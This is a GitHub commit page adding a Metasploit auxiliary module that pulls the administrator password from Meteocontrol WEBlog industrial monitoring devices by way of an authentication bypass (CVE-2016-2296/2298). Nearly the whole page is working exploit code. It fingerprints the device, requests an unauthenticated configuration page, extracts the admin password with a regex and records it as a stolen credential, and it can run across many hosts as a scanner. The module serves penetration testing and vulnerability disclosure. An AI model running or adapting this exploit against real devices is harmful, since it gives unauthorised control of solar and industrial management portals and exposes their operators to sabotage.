Skip to content

Commit 39423a7

Browse files
committed
Add Meteocontrol Weblog Extract Admin password module
1 parent 969df40 commit 39423a7

File tree

1 file changed

+133
-0
lines changed

1 file changed

+133
-0
lines changed
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Meteocontrol WEBlog Password Extractor',
17+
'Description' => %{
18+
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.
19+
},
20+
'References' =>
21+
[
22+
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ],
23+
[ 'CVE', '2016-2296' ],
24+
[ 'CVE', '2016-2298' ]
25+
],
26+
'Author' =>
27+
[
28+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
29+
],
30+
'License' => MSF_LICENSE
31+
))
32+
33+
register_options(
34+
[
35+
Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
36+
], self.class)
37+
end
38+
39+
def run_host(ip)
40+
unless is_app_metweblog?
41+
return
42+
end
43+
44+
do_extract
45+
end
46+
47+
#
48+
# Check if App is Meteocontrol WEBlog
49+
#
50+
51+
def is_app_metweblog?
52+
begin
53+
res = send_request_cgi(
54+
{
55+
'uri' => '/html/en/index.html',
56+
'method' => 'GET'
57+
})
58+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
59+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
60+
return false
61+
end
62+
63+
if (res and res.code == 200 and (res.headers['Server'] and res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
64+
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
65+
return true
66+
else
67+
print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
68+
return false
69+
end
70+
end
71+
72+
#
73+
# Extract Administrator Password
74+
#
75+
76+
def do_extract()
77+
78+
print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...")
79+
begin
80+
res = send_request_cgi(
81+
{
82+
'uri' => '/html/en/confAccessProt.html',
83+
'method' => 'GET'
84+
})
85+
86+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
87+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
88+
return
89+
end
90+
91+
if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
92+
get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
93+
admin_password = get_admin_password[1]
94+
print_good("#{rhost}:#{rport} - Password is #{admin_password}")
95+
report_cred(
96+
ip: rhost,
97+
port: rport,
98+
service_name: 'Meteocontrol WEBlog Management Portal',
99+
password: admin_password,
100+
proof: res.body)
101+
else
102+
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
103+
print_error("Password not found. Check login manually.")
104+
end
105+
end
106+
107+
def report_cred(opts)
108+
service_data = {
109+
address: opts[:ip],
110+
port: opts[:port],
111+
service_name: opts[:service_name],
112+
protocol: 'tcp',
113+
workspace_id: myworkspace_id
114+
}
115+
116+
credential_data = {
117+
origin_type: :service,
118+
module_fullname: fullname,
119+
username: opts[:user],
120+
private_data: opts[:password],
121+
private_type: :password
122+
}.merge(service_data)
123+
124+
login_data = {
125+
last_attempted_at: Time.now,
126+
core: create_credential(credential_data),
127+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
128+
proof: opts[:proof]
129+
}.merge(service_data)
130+
131+
create_credential_login(login_data)
132+
end
133+
end

0 commit comments

Comments
 (0)